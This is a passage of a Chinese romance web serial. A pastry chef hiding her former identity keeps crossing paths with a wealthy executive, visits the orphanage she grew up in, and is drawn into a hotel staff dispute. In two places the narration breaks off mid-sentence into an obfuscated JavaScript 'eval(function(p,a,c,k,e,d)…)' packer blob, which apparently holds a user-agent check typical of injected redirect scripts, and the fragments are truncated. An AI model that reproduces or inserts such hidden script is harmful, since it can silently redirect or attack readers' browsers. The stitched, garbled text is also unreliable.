车子停下,中年男人急急忙忙打开车门,朝靳司珩走来,满脸谄媚,“哎呀,靳总,没想到还能在这里遇见您,真是余某的荣幸啊。” 檀颂见状,长舒了口气,借机对靳司珩说:“您先忙,牛奶不用赔了,我先走了。” 她一口气把话说完,顺便又跟闫绪道别,然后不待他们有所反应,急忙迈步离去。 靳司珩想叫住她,不料被中年男人抢先了一步:“靳总,我是隐力科技的余致诚,这是我的名片。” “哎,阿檀姐!”闫绪瞥了他们一眼,启动摩托车也走了。 眼见他们两人朝一个方向离开,距离慢慢拉近,靳司珩唇角勾起的弧度逐渐拉直,再转过身,他一改刚才和善的表情,脸上多了几分居高临下的傲慢。他接过名片,用两根手指捏着,慢条斯理地念了一遍上面的字:“隐力科技是吧,我记住了。” 4. 第 4 章 翌日,檀颂刚到饼房,闫绪就神神秘秘地凑了过来,压低声音问她:“阿檀姐,昨晚上纠缠你的那个男的,是不是万洲集团的老板?” 檀颂瞥他一眼,不是很想理他:“别八卦,快去干活儿。” 说完,她就去忙了,徒留闫绪一个人站在原地纠结。 午饭时间,檀颂独自去员工食堂排队打饭。 这些年,随着年岁渐长,她性子越发内敛含蓄,同时也越发不愿花费时间去维护人际关系,所以这些年她身边除了万昭年再没有第二个朋友。至于一起工作的同事嘛,她偶尔也会跟他们聊几句工作之外的话题,但也仅限于此,再没别的往来。 檀颂知道自己性格古怪,不讨人喜欢,她曾经很多次听到别人在私底下说她清高、孤僻,但没办法,自从姐姐明舒去世以后,她就好像感情被抽空一样,对待一切事物和人都丧失了兴趣。 她改变不了。 也不想去改变。 现在这样就很好。 很好。 檀颂饭量小,半碗米饭很快见了底,她把最后一口饭塞进嘴里,正要起身,眼前“咻”的一下,一道人影停在她眼前。 闫绪也没跟她客气,径自坐在她对面,然后掰开一次性筷子不由分说把餐盘里的鸡腿夹到她碗里,“阿檀姐,请你吃鸡腿。” 檀颂:“谢谢。” 她没动那只鸡腿。 闫绪扒拉两口饭,嘴里含糊不清的,“阿檀姐你刚才做的那个翻糖玫瑰花能不能教教我?” 檀颂笑问:“你能学会吗?” 闫绪不满地嘟囔:“阿檀姐,你咋这么看不起人呢?” 檀颂笑了笑,双手搭在餐盘两边,想先回饼房,这时闫绪又开口了:“阿檀姐,要不以后我送你回家吧,我担心你再被乱七八糟的男人缠上。” 乱七八糟的男人? 是指靳司珩吗? “昨天只是个意外,”按她的性格,这种事没必要解释给别人听,但她想着把话说清楚能改变闫绪的想法,便耐着性子解释道:“他把我买的牛奶打翻了,想赔我一杯。” “NONONO,”闫绪伸出右手食指来回摇了摇,“阿檀姐你太单纯了,还是我们男人更了解男人,他绝对对你不怀好意。” 说完这话,他似乎也觉得不太合适,挠挠头,说:“我也不是故意要在背后讲人家的坏话,但是靳司珩平时绯闻太多,他的人品有待考证。” 这个确实是事实,饶是檀颂不怎么关注那些八卦绯闻,也能从别人的嘴里了解一些—— 靳家大公子风流成性,经常被拍到与不同的女人约会。 虽说他公司的人会第一时间澄清,但涉及到豪门八卦,看客们反而更质疑绯闻澄清的真实性。 这样的新闻,檀颂向来都是左耳朵进右耳朵出,毕竟跟她也没关系。 “你想太多了,”她对闫绪说,随后站起身,走之前又留下一句:“别总八卦了,好好工作。” - 与此同时万洲集团总部,靳司珩刚结束了一场跨国会议,身心俱疲,宋秦跟在后面,尽职尽责地汇报他未来一周的行程。 “明天上午与远维科技的王总、《致命游戏》的出品方代表John有个视频会议,聊一下《致命游戏》AR游戏版本上市的相关事宜;然后下午和John谈论新电影的投资事宜;周二上午十点的飞机去香港参加新线影业丁总夫人的生日宴,周三——” “等一下,”靳司珩松了松领带,打断他,“送丁总夫人的生日礼物,你准备好了吗?” “已经准备好了。” “嗯。”靳司珩点点头,继续迈步往自己的办公室走。 “周四——” 宋秦准备继续汇报行程,下一秒再次被打断,刚才应付那群难缠的外国佬消耗了靳司珩不少精力,他现在特别烦,“这些破工作明天再说,今天别来烦我了。” “…好的。” 宋秦止步,眼睁睁看着自家老板黑着脸走进办公室,然后“嘭”的一声大力关上门,他摸了摸鼻子,悻悻地回自己的工位了。 28层有一半面积都是靳司珩的办公室,三面超大全景落地窗,采光超绝,能俯瞰津州城。 此时,正对门口的落地窗边的沙发上,宗丞黎正在翻阅一本杂志,他手边的矮桌上还放了一杯热茶,正往外冒着热气。 靳司珩一见到他,立刻没好气道:“你怎么又来了?” “怎么?”宗丞黎把杂志放到矮桌上,“这是谁又惹你了?” 靳司珩冷哼一声,拆下领带随手扔到办公桌上。 办公室门口旁边放置了一个鱼缸,他走过去,从鱼缸下面的柜子里取出一小罐鱼食,用手指捏起一点儿洒进了鱼缸。 靳司珩静静地看着里面的小鱼抢食,不搭理他。 宗丞黎毫不在意,换了个舒服的姿势,翘起二郎腿,说:“听说温清海想跟你家联姻,我是该恭喜你呢还是该恭喜你?” 靳司珩又往浴缸里撒了一把鱼食,漫不经心问:“你听谁说的?” “还能是谁,当然是我那位年轻貌美的继母啊。”宗丞黎话里不自觉带上冷嘲,“听她那意思,你爸已经同意了。” 宗丞黎的父母都是大学教授,但不在同一所学校教学,而他的继母则是温清海的外甥女,温楹的表姐,她比宗丞黎还要小两岁,曾经是他父亲的学生。宗丞黎大学毕业那年,两个人被他母亲捉奸在床,他母亲一气之下和他父亲离了婚,自那之后宗丞黎每每提起那两个人都要恶心好久。 “呵。” 浴缸里有条锦鲤飘在水面不动,靳司珩探手进去碰了碰,它被吓到,慌乱摆尾游离。靳司珩撤回手,抽了张纸巾擦拭掉手指上残留的水渍,心情恢复得差不多了,转过身面对他:“老头子现在正陪他宝贝儿子去世界各地开演唱会呢,哪有时间管我的事儿。更何况,我的事儿,他管得了吗?” 宗丞黎抿了口热茶,叹道:“我就喜欢你这副狂妄的样子。” 靳司珩扬眉,认下这份夸奖,“谢谢,所以,你可以走了吗?” 宗丞黎没理他这茬,放下杯子,说起正事:“我好像见到明棠了。” “明舒生日那天我去看她,在墓园门口遇见一个女人,她长得很像明棠,只不过成熟一些。”说到这儿,他顿了顿,抬头观察了一下靳司珩的反应,发现这人的表情没什么大的变化,依旧是那副风轻云淡的样子,情绪特别稳定,于是继续说:“然后我在明舒的墓碑前看见了一个包装很精美的蛋糕,蛋糕很新鲜,应该是刚被放下没多久。仔细想想,明舒从小在福利院长大,能去祭拜她的人,除了你跟我,也只剩下明棠了。” 靳司珩垂下眼皮,不知道在想什么,一言不发。 他这个反应也在宗丞黎预料之内,宗丞黎提议:“要不要找个人查查?” 沉默了许久,靳司珩说:“不用。” 宗丞黎:“你确定?” 这个回答倒是出乎他的意料。 靳司珩站直身体,低头整理了一下自己的衬衫领口,问了个不相关的问题:“你晚上有空吗?” 宗丞黎懵了:“有啊,你要干嘛?” 靳司珩缓缓勾唇,“请你吃饭啊。” 宗丞黎:“?” - 晚上靳司珩没有叫司机,自己开车带着宗丞黎去了临河路的九洲国际。 九洲国际顶层是对外开放的旋转餐厅,环境清幽,风景也不错。 宗丞黎坐在副驾驶,看他把车驶进地下停车场,忍了又忍最后还是没忍住,问他:“你说要请我吃饭就是来这儿?” “嗯,”靳司珩边查看四周车况边打方向盘,“津州风景最好的旋转餐厅,你不满意吗?” “不是你有病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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檀颂脸上浮现出片刻茫然。 今天这是怎么了? 侍应生带她去见客人。 远远的,檀颂看见那桌客人是两个男人,背对她的男人一身休闲装,看不见长相,至于面对她的那位,依旧是黑色西装,这次没系领带,白色衬衫领口微敞,露出一小节冷白的锁骨。 等她走到跟前,靳司珩抬眼看她,表情很惊讶,“噯,这么巧,我们又见面了。” 听见他的话,坐他对面的男人也抬头看过来,随后表情一滞,眼睛微微瞪大,怔怔地看着她。 檀颂的神色中规中矩的,礼貌中带着疏离,“您好,请问两位找我有什么事吗?” 靳司珩指着桌上的布朗尼蛋糕,问:“这是您做的吗?” 檀颂点头:“对,请问是有什么问题吗?” 趁他俩说话的时候,宗丞黎不动声色地睨了眼檀颂胸前的工作牌,银质的胸牌上只有几个字:甜点主厨DessertChef檀颂TanSong 靳司珩笑:“没什么问题,我朋友说他很喜欢这里的甜点,吃多少次也不腻,所以想见见厨师。” 檀颂把视线投向宗丞黎,看清他脸的一瞬间,她眼中有错愕一闪而过,虽然只有短短的一秒,但被眼尖的靳司珩捕捉到了。 “咳,”第一次来的宗丞黎清了清嗓子,“对,他说得没错。不过见了之后发现您长得很像我的一位朋友。” “是吗?”檀颂淡淡一笑,平静地转移了话题:“如果您二位没别的事的话,我先回去忙了。两位请慢用。” 话毕,她微微颔首,然后转身离去。 两个男人目送她走出餐厅。 “这,”宗丞黎还没完全消化刚才的场面,“什么情况?明棠改名字了?” 靳司珩用勺子挖了块布朗尼送进嘴里,细细咀嚼,等咽下后,他慢吞吞开口:“你那天看见的是她吗?” “嗯。” “那就没错了,”靳司珩很确认,“她就是明棠。” “你在说什么啊?”宗丞黎疑惑:“她为什么装作不认识我们?” 靳司珩抬眼看向檀颂刚才消失的餐厅门口,不知想到了什么,眸色变得深沉。 5. 第 5 章 日子平平淡淡地过着,转眼便到了春节。酒店的工作人员是没有假期可休的,不仅如此,假期的工作量也比平时翻了不知道多少倍。 在像陀螺一样连续转了一个月之后,檀颂终于迎来了她的休息日——经理看她这段时间太辛苦,大发善心给她安排了两天假。 假期第一天,檀颂在家休息,下午出门采购了两大袋东西。 假期第二天,檀颂早早出门,带着那些东西坐高铁去了余安。 余安是津州下辖的一个县城,依山傍水,风景很好,但面积小,没有地铁。 檀颂在高铁站门口拦了辆出租车,上车后跟司机说了目的地,车子启动,她扭头看向窗外的风景。 距离她和明舒离开已经过了十一年,这个城市几乎发生了翻天覆地的变化。 老的火车站废弃了,新建了一座高铁站;原来的百货大楼推了,变成了中心广场;檀颂曾经读了一年的高中学校也建了新的教学楼…… 到处都是陌生的建筑,一路望过去,檀颂深切感受到什么叫物是人非。 半个小时后,出租车停在向日葵儿童福利院门口。 檀颂扫码付了款,提着两大袋东西下车。 大门两边贴着『欢度春节』的春联,福利院似乎也被修整过,整个院子焕然一新,与她一个多月前在电视上看到的那个破败的样子完全不同。 保安大爷见来了人,从保卫室探出个脑袋,“姑娘,你是来看孩子们的吗?” 檀颂点头:“对。” “好嘞,你先登个记。”大爷递出来一张登记表和一支笔,“我联系一下里面的老师,让人来接你。” “好的,谢谢。”檀颂接过笔和登记表,把东西放在地上,趴在保卫室门口的桌子上填表。 等她填完表,负责接待的老师也出来了。 是个中年男人。 隔着不远的距离,檀颂扫了一眼,觉得这个人有些眼熟,便盯着他的脸仔细辨认,等对方走近,她犹疑着喊了声:“马老师?” “你认识我?”中年男人不由一愣。 “我是明棠啊。”檀颂说。 “明棠?” 许是年代久远,中年男人没有立刻想起来『明棠』是谁,嘴里默默念了两遍这个名字。大概过了有两分钟,他似是终于想起来了,眼中的茫然迅速被惊喜替代,“你是棠棠?” “对。”檀颂笑着应道。 “你都长这么大了。我记得你和明舒离开咱福利院的时候才这么高。”马老师在肩膀处比划了下。 这么说着,他更加感慨,“唉,也是,你俩走的时候我才三十多岁,现在不行啦,都老了。” 檀颂弯了弯眉眼:“您还是跟以前一样帅。” 马老师被她这句话哄得开怀大笑,随即又想到什么,忙招呼她往里面走,“别在这儿待着了,外面冷,咱进去说。” 他接过檀颂手里的袋子,带着她进了自己的办公室。 福利院还是十几年前的格局,一共两栋楼——一栋五层,是老师们的办公室、孩子们的宿舍以及各种活动室;另一栋两层,是食堂和医务室。 马老师的办公室在一楼,屋子面积大概有十几平,里面的陈设也很破旧,但收拾得干干净净。马老师把东西放下,然后去柜子里找了个一次性纸杯,给檀颂倒了杯水。 房门对着的那道墙上贴满了照片,檀颂走过去一张一张地看。 下面的照片都是近几年新拍的,画质清晰,越往上看年代越久远,纸张泛黄,画质也变得模糊。 檀颂在最上面的照片里看见了熟悉的面孔—— 那是明舒十八岁离开福利院之前拍的,当时檀颂只有十三岁,得知明舒要离开,抱着明舒哭得上气不接下气,导致拍照的时候眼眶通红、肿得像两个核桃。 马老师也顺着她的视线看去,随后怀念般地笑了笑,“我记得当时差不多全院的孩子都跟着你哭,把明院长愁得白头发都多了。” 想到自己年少时做的糗事,檀颂也不好意思地笑笑。 “那时候年纪小不懂事,给明院长和老师惹了不少麻烦。” 檀颂小的时候是个十足的皮孩子,上树掏鸟蛋,带着其他小孩儿去河里摸鱼,经常带着一身泥回来,被明院长揪着耳朵教育。 “什么麻烦不麻烦的,看着你们过得那么开心,我们就觉得一切都值得。”马老师看着她,意有所指地说,“现在也是一样的,这种心情不会因为你们长大、离开而改变。” 檀颂险些维持不住唇角的弧度。 她避开马老师的视线:“明院长现在过得好吗?” 明院长全名明怀云,是『向日葵儿童福利院』的第一任院长,檀颂他们称呼她为院长妈妈,而且那时候孩子们的名字都统一按着她的姓氏来取,方便管理。 暗暗叹了口气,马老师接着她的话茬说道:“挺好的,前年退休以后跟儿子去了上海定居,现在偶尔还会视频看看孩子们。” “那就好。” 马老师又问了她的近况,檀颂一一如实说了。 两个人聊了一会儿,马老师带她去看看孩子们。 “现在福利院里一共有二十八个孩子,最大的十五岁了,最小的只有两岁。”马老师带她去了三楼,“这些年,经常有出去的孩子回来看望我们。” 檀颂了然地点点头。 难怪保安大爷看见她来一点儿也不惊讶。 刚拐上三楼,檀颂就听到某间教室里传出来一阵悠扬的钢琴声。 马老师乐呵呵的,心情特好,“前段时间万洲集团给咱捐了架钢琴,孩子们可喜欢了。” 他忽然想起一件事,“对了,你还记得明辉吗?” 檀颂回想了下,脑中立刻浮现出一张稚嫩青涩的脸,“记得。” 她对明辉的印象挺深刻的。 明辉跟她同岁,檀颂是刚出生三个月的时候被院长妈妈在福利院门口的草丛里发现的,而明辉则是警方从人贩子手里救出来的,当时他被人贩子打断了一条腿,在街上乞讨,被救出来后警方花了很长时间找他的父母,无果,无奈之下把他送来了福利院。 因为有过那么惨痛的经历,所以导致明辉的性格有些阴郁,对所有人设防,每天就一个人静静地坐在角落里,也不说话。后来有一次他咬伤了帮他洗脸的明舒,被檀颂按在地上狠狠揍了一顿,从那之后他就特别听檀颂的话。 檀颂不知道马老师为什么忽然提起明辉,刚要问,钢琴声停了。与此同时,往前数第三间教室的门被人从里面打开,一个扎着马尾辫的小姑娘从里面跑了出来,直奔向马老师。 “马老师,马老师,你快来,明辉哥哥在教我们弹钢琴。” 马老师被小姑娘牵着进了教室,檀颂在后面跟着。 很快钢琴声再度响起。 进了教室,檀颂第一眼看见的就是那个在讲台上弹钢琴的男人,他穿着白色毛衣和蓝色牛仔裤,留了一头干净利落的板寸,身形瘦削,皮肤白到近乎透明,看起来有些弱不禁风。 男人沉浸在自己的世界里,手指在琴键上翻飞,神情专注。 马老师被小朋友拉到台下的座位边坐下,无声冲檀颂招了招手,示意她也过去坐。 檀颂走过去,在他旁边的空位置坐下。 孩子们都特别懂事儿,虽然对陌生的檀颂感到好奇,但都安安静静的,谁也没有发出声音,只是偶尔转过头来看一看她。 马老师压低声音跟檀颂说:“明辉这孩子大学毕业以后就回来工作了,我劝他找份收入高点儿的工作,他不肯,说在这儿心里踏实。” 檀颂看着台上的男人,附和道:“那挺好的。” 等一首曲子表演结束,孩子们争先恐后地鼓起掌。 男人朝台下望过来,见到檀颂,他愣住了,视线定在她脸上半晌没移开。 两个牙都还没长齐的小孩儿捂着嘴窃窃私语—— “明辉哥哥在盯着漂亮姐姐看哎。” “他是不是想要漂亮姐姐当他的老婆。” “什么是老婆?能吃吗?” “不知道,我没吃过。” …… 说实话,檀颂并不是特别想跟明辉叙旧,他们长达十年没有见过,从小一起长大的情意早就被流逝的时间消耗殆尽,再见面也是相顾无言,只剩尴尬。 但架不住马老师是个热心肠。 他把檀颂带过来的东西交给另外一位女老师,请她帮忙分给孩子们,他自己拉着檀颂和明辉出去聊天。 马老师在前边兴致勃勃地说着,檀颂和明辉在后面沉默地跟着。 明辉那条断腿安了义肢,下楼梯比较缓慢,檀颂照顾他的速度,走得也不快。有好几次,明辉扭头悄悄看她,嘴巴颌动,似乎想跟她说话,不过不知道什么原因,犹豫之后他又把话咽了回去。 大概是因为注意力不集中,在下最后一级台阶时,他那条义肢踩空,身体失去平衡,猛地向前倾。 檀颂眼疾手快,一手拉住他的胳膊,一手撑在扶手上,借力稳住他的身体。 “你没事儿吧?” “没事儿,”明辉温和地笑了笑,“谢谢你。” 马老师被这变故吓了一跳,小跑过来仔仔细细查看明辉的情况,生怕他有 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明辉静静地看了她几秒,忽然感慨了一句:“你真的变了很多。” 檀颂对上他的视线。 明辉挥了挥拳头,学着她以前的口气说道:“如果是以前,你肯定会挥着拳头说‘试试啊,看谁揍谁’这样的话。” 檀颂垂眸低笑,“这不是,长大了吗?” “对啊,长大了。”明辉的语气充满遗憾,“所以,回不去了。” 有几个小男孩儿互相打闹着从楼里跑出来,最后面跟着一个小女孩儿,她嘴里喊着“哥哥”,拼命想追上前面那几个小男孩儿,结果脚下被绊了一跤,摔了个狗啃泥。闹得正凶的男孩儿们停下,围起来笑话她,小女孩儿委屈地趴在地上哭。 等檀颂走到近前才发现,小女孩儿和明辉一样,右腿安了假肢。 她把小女孩儿从地上抱起来,然后掏出手帕替她擦掉脸和手上沾的泥土。小姑娘手上擦破了点皮,露出红色的血丝,檀颂用手帕干净的一面帮她包住伤口,看小姑娘双眼哭得像红红的核桃,抬手轻轻擦掉她眼角残存的泪珠,柔声问道:“可以告诉我你的名字吗?” 小姑娘哭得一抽一抽的,“我,我,我叫唐糖。” 檀颂愣了下,随即笑着说:“名字很好听啊,谁给你取的?” 小姑娘有问必答:“是,是院长妈妈,因为我爱吃糖,院,院,院长妈妈就说希望我能永远记得生活里的甜。” 听到她的话,檀颂沉思了一下,从大衣外套里掏出两块巧克力放到小姑娘手里,“这两块巧克力送给你,唐糖不哭,跟我去医务室好不好?” 小姑娘止住哭泣,重重点头,带着鼻音回答:“好。” 站起身,檀颂牵着小姑娘的手,与正在训斥那些男孩儿的明辉交换了个眼神,便带着小姑娘去了医务室。 医务室的老师帮小姑娘消了毒,又在伤口处贴了一个卡通创可贴。 有个女老师听说了这件事,来医务室接唐糖。唐糖乖乖地牵着女老师的手,临走时回头朝檀颂挥了挥另一只手,“谢谢姐姐送我的巧克力,姐姐再见。” 檀颂也冲她挥了挥手:“唐糖再见。” 从楼里走出来,明辉在门口等她,那几个男孩子不知道去了哪儿。 “外面太冷了,我带你去我的办公室吧。” “不用了,”檀颂看了眼时间,说:“我买的两点的高铁票,现在得去高铁站了。” 明辉挑眉:“这么早?” “嗯,我回去还有别的事情。”檀颂随便找了个借口,“你帮我跟马老师说一声吧,下次有时间我再来看你们。” “那好吧,我送你。”明辉送她到门口,招手帮她拦了一辆出租车。 车子启动,缓缓汇入主干道,明辉一直站在门口,望着她乘坐的出租车逐渐远去。 …… 到高铁站的时候,距离檀颂乘坐的车次发车时间还有四十多分钟,她在候车厅找了个空座坐下,点开微博,搜索了某个制作甜点的博主,看着人家的视频打发时间。 高铁站人来人往,有人从她身后经过,举着手机,对电话那端的人说:“您放心吧,我会注意的。” 短短几个字,恰好出现在视频停止的时候,就那么清晰无比地传进檀颂的耳朵里。檀颂蓦地站起来,突如其来的举动把她身旁的大叔吓了一跳,但她无暇顾及,转过身,不停地在人群里寻找刚才说话的那个人。 可那人却像消失在人潮中,任她找遍候车室,也没再出现过…… 6. 第 6 章 “什么?!你遇到资助人了?”万昭年在电话那端惊讶大喊。 檀颂揉了揉耳朵,叹了口气,“不过他一眨眼就不见了,我没跟他碰到面。” 听到她这么说,万昭年有些怀疑:“阿檀,会不会是你听错了,本来你跟你的资助人也没见过几次,说不定是因为你太想找到他,所以出现幻觉了。” “…”檀颂原本很确定自己没听错,可现在也开始怀疑了,“你说得对,可能真的是我听错了。” 察觉到檀颂的情绪变低落了,万昭年连忙安慰她:“哎呀别难过阿檀,我有预感,你肯定能再见到那位资助人的。” “嗯,谢谢你啊,”檀颂半开玩笑说道:“感觉被你安慰到了,我现在心情好多了。” 万昭年昂着头拍了拍胸脯,表情颇为骄傲:“不客气。” 挂断电话,屋子里又恢复了安静,檀颂没有开灯,一个人抱膝坐在床上,盯着窗外夜空中那轮圆圆的月亮,思绪渐渐放空。 - 月凉如水,树影婆娑。 引擎发出的轰鸣声此起彼伏,划破夜的静谧,车辆所过之处,带起一片风雪。 这里是距离市中心100多公里的山区,靳家投资,在这里建造了一个全国最大的雪地赛车场,深受那些有钱有闲的富二代们喜爱。 而此刻,这里正进行着一场速度与激情的较量。 纵观全场,跑在最前面的,是一辆保时捷911TurboS。在冰天雪地里,它犹如一道黑色的闪电,眨眼之间便消失在众人眼前。 从后视镜里看到被他狠狠甩在身后的其他人,靳司珩不屑地哼笑一声,抽空给自己点了根烟。吸了不过两口,前方出现弯道。 他将烟咬在嘴里,骨节分明的手指紧握方向盘,冷静地调整方向,在越过弯道之际,车尾几乎贴着地面滑行,一个漂亮的漂移,路面的积雪如浪花般绽放。 越过弯道,靳司珩将车窗打开,享受着风从耳边呼啸而过的感觉。 后来,又连续过了两个弯道后,他到达终点,周围立刻响起一片尖叫声,有来自他狐朋狗友的,也有来自他狐朋狗友带来的女伴的。 观众席这里有大屏幕,能实时观看赛道上的情况,所以他刚刚的一系列操作,都被众人看在眼里。 “卧槽,珩哥牛逼啊!!” “啊啊啊!!!靳总好帅!!” “靳总,当我的男朋友吧!” 靳司珩下了车,尖叫声更甚。 他今天照旧是一身黑的装扮,上面是黑色皮夹克,下面是黑色工装裤搭短靴,头发被精心打理过,不过因为开窗吹风的缘故,额间有几缕发丝落了下来,稍显凌乱。 懒懒地靠在车身上,靳司珩随手掏出烟盒递到嘴边,从里面直接叼了根烟出来,点燃,烟雾袅袅升起,他舒服得眯起眼,片刻后,笑着朝观众席挥了挥手。 一根烟没抽完,被他甩下的众人也陆续到达终点。 恰好这时,放在皮衣口袋里的手机开始震动,他猛地吸了一大口烟,吐烟圈的同时把烟蒂扔掉,抬脚碾了碾,然后拿出手机,按了接听键。 “靳总,”电话那端是宋秦,“很抱歉这么晚打扰您,有关于向『向日葵福利院』所收养的儿童提供医疗绿色通道的提议跟院长谈过了,对方提出了几条补充意见,稍后将对方的具体意见以文字形式发给您。” “嗯,可以。”靳司珩把玩着打火机,有些漫不经心。 宋秦:“还有一件事。” “说。” “我在余安高铁站看到了那位檀小姐。” 早在得知檀颂在九洲国际工作的第二天,她的员工档案就借由宋秦的手交到了靳司珩的办公桌上,宋秦也因此知道了檀颂的名字。 “哦?是吗?”手上动作一顿,靳司珩拖长了音调问道。 宋秦对他这种语气很熟悉,靳司珩只要用这种语气说话,就代表他对别人说起的话题感兴趣了。于是宋秦又说:“我稍微打听了一下,檀小姐也去了福利院,还给孩子们带了些吃的,福利院里有位老师照顾过檀小姐,不过他说檀小姐以前不叫这个名字,我问了,这位老师说她以前叫明棠。” 靳司珩忽然笑了,他舔了舔唇,说道:“干得不错。” 还未等宋秦说些什么,他又补充道:“那就奖励你周末加两天班吧,把万洲旗下所有酒店员工的薪资情况汇总整理一下,然后再做个提薪方案出来。” 宋秦:“……好的,靳总。” 神经吧,酒店员工的薪资情况自然有酒店集团那边把控,跟他们总部有什么关系? 刚挂断电话,卫淮就冲过来一把勾住靳司珩的脖子,“不是吧,这么晚还聊工作啊?” 卫家在津州也算是名门,只不过跟百年世家的靳家相比那就差得不是一星半点儿,当年靳司珩被他爸靳万州扔去美国读书,在那儿认识了同去留学的卫淮,后来随着两个人关系拉近,卫家这才有机会搭上靳家。 靳司珩斜睨他一眼,“不然呢?” 卫淮猥琐一笑,“当然是聊女人啊。” 卫家一共三个孩子,卫淮是最小的,也是最受宠的,可以说他是被卫家全家上下捧在手心里护着长大的,所以也就养成了他现在不学无术、整天只知道挥霍玩乐的混混性子。 卫淮话音刚落,前方便走来一个女人,天寒地冻的,她却穿了条包臀短裙,皮草外套半穿半脱,露着一半香肩,下半身黑丝打底,过膝长靴趁得两条腿又长又直,晃得卫淮眼睛发直。 女人半分眼神也没分给他,手指卷起一缕波浪长发,娇笑着问靳司珩:“靳总,待会儿有没有兴趣去我房间喝一杯?” 赛场外就是度假区,酒吧泳池一应俱全,想喝酒,自然是不用去谁的房间。 女人的话是一种暗示,成年男女之间有些话不需要挑明。 “恐怕不太行,”靳司珩勾唇,笑得有些痞,又带着些懒洋洋的散漫,“我等下还得去为我那些宝贝员工们赚奶粉钱,实在没时间。” 卫淮:“……” 女人:“……靳总还挺辛苦的。” 靳司珩叹了口气,“大家都不容易。” “……” 女人转身离去,回到姐妹堆里,不知道她说了什么,那些跃跃欲试的小姐妹都止住了要过来的心思,纷纷转头换了目标。 卫淮拿手肘捅了捅靳司珩,悄声问:“嗳,这么漂亮你都不心动,你是不是不行啊?你要真不行就跟哥们儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了酒店门口,忍了一路的姑娘们匆忙下车,趴到花坛边狂吐。 - 这一晚檀颂睡得不踏实,许是故地重游的缘故,她难得梦到了以前的事情。睡眠质量不好,翌日早上起床时她的头像要炸开一样。 檀颂从药箱里翻出一盒止疼药,吃了一颗。 今天酒店要举办晚宴,有一大堆事儿等着她,檀颂也没顾得上吃早饭,拿上大衣和背包便出了门。 天边乌云沉甸甸地压下来,透不过一丝阳光。 天气预报说今天会有雨。 到了地铁上檀颂才想起来自己忘了带伞,可地铁已经开动,她也不能为了一把伞再折返回去。 算了,等下买把新的吧。 这么想着,她便把这件事抛到了脑后。 点开手机,她看到屏幕上方有一条微博的推送消息—— 【靳司珩夜会两女,疑似后宫再添新人。】 檀颂点进微博,在屏蔽关键字那里输入了「靳司珩」三个字。 7. 第 7 章 由万洲影业投资并发行的科幻电影《崛起》在春节档取得了票房第一的好成绩,所以电影下线后,主创团队要办一场庆功宴,地点就选在了九洲国际国际酒店。 根据去前厅传菜回来的小姑娘说,大老板也来了。 大老板,自然指的是靳司珩。 提到他,聊天的几个小姑娘不免说起了今早上狗仔发的跟他有关的那条八卦新闻。 甲说:“有钱人可真会玩儿,一次带两个妹子。” 乙说:“也正常,我要是那么有钱,一晚点十八个男模。” 丙说:“十八个?你也不怕累死。” 她们说着,饼房的大门被人从外面推开,一个身着前厅服务员制服的年轻女孩儿闯了进来,神色焦急。 “阿檀,”她边往里走边说,“出事儿了,闫绪跟客人打起来了,你快去看看。” 一时间,饼房所有人都面面相觑。 檀颂停下手里的工作,问她怎么回事儿。 女孩儿说:“有个客人喝多了,骚扰我们的服务员,被闫绪撞见了,他一冲动,就动手了。” 檀颂站在原地没动,表情也没什么变化,“去叫经理,我过去没用,让经理去解决吧。” 她就一个甜品主厨,没有权利管这种员工跟客人的纠纷。 女孩儿急了,拉着她的胳膊就往外拽,“怎么会没用,闫绪最听你的话,你过去肯定能治住他。” 檀颂有些无奈,让其他人继续工作,她跟着女孩儿过去看看。等她俩到的时候,闫绪和那位客人已经被分开了,两个人脸上都带着伤,嘴里还在互相叫嚣,谁也不肯先低头。 旁边站着个眼眶通红的女服务生,想来应该就是被骚扰的那位。 见到檀颂过来,闫绪立刻闭上嘴移开视线。知道自己做错了事,他心虚地不敢看檀颂的眼睛。 醉酒的客人是个瘦高的年轻人,穿一身名牌,看起来像是哪个有钱人家的少爷,他醉得都快站不稳了,还冲檀颂吹了声口哨,嘴里骂骂咧咧说着难听的荤话。 “操!”闫绪见状,又想冲过去揍他,被人架着胳膊按了回去,闫绪挣扎着,脸上因为发怒而生出几分狰狞,“你他妈闭嘴!” “闫绪!”檀颂低声呵斥,“别胡闹。” 闫绪不情不愿地停下动作,看向她的眼神里带着些许委屈。 庆幸的是他们打架的地方在员工通道,很隐蔽,没有被其他客人看见。 经理还没来,檀颂一个主厨也不能擅自处理这件事,便先走过去查看女服务生的情况。女服务生衣服和发型都乱了,估计被吓到了,眼泪一直“吧嗒吧嗒”掉个不停。 檀颂从衣服口袋里掏出纸巾,帮她擦了擦眼泪,然后轻轻拍了拍她的后背,以示安抚。 过了一会儿,听见消息的经理匆匆赶过来了,不过他不是一个人,身后还跟着一个令众人意想不到的人——靳司珩。 经理脸色难看到极致。 他过来,劈头便把闫绪教训了一顿,转而陪着笑去安抚客人。 靳司珩站在通道入口,双臂环胸靠在墙上,像看戏似的,一脸玩味地看着这边。他虽然没有参与进来,但大老板的气场是在的,威压无形中向四周扩散,所有人都不敢大声说话。 一时间,通道内只能听见经理道歉和客人胡搅蛮缠的声音。 经理提出了各种补偿措施,客人仍是不依不饶,最后甚至指着檀颂威胁道:“让她陪老子喝酒,不然这事儿没完。知道老子是谁吗?你们酒店员工敢打我,到时候我让你,”他手指着经理的鼻子,然后又指向闫绪,“你,还有你们酒店吃不了兜着走。” 众人脸色都是一变。 闫绪的拳头又硬了。 这时,一直没出声的靳司珩忽然咳嗽了一下,声音很突兀,众人的视线被吸引了过去。 檀颂也跟着看了过去。 只见靳司珩缓步走来,唇角残留着浅浅的弧度,眼眸中荡漾着懒散的笑意,他穿一身高级定制西装,气质矜贵,随着他一步步靠近,独属于上位者的压迫感扑面而来。 醉酒的客人反映慢半拍,等回过头,对上靳司珩充满玩味的目光,酒忽然就醒了,“靳,靳总。” “嗯?原来是环宇建设的小陈总啊。”靳司珩似是没有想到,一脸惊讶,“听说我的员工把小陈总给打了,这怎么行呢?” 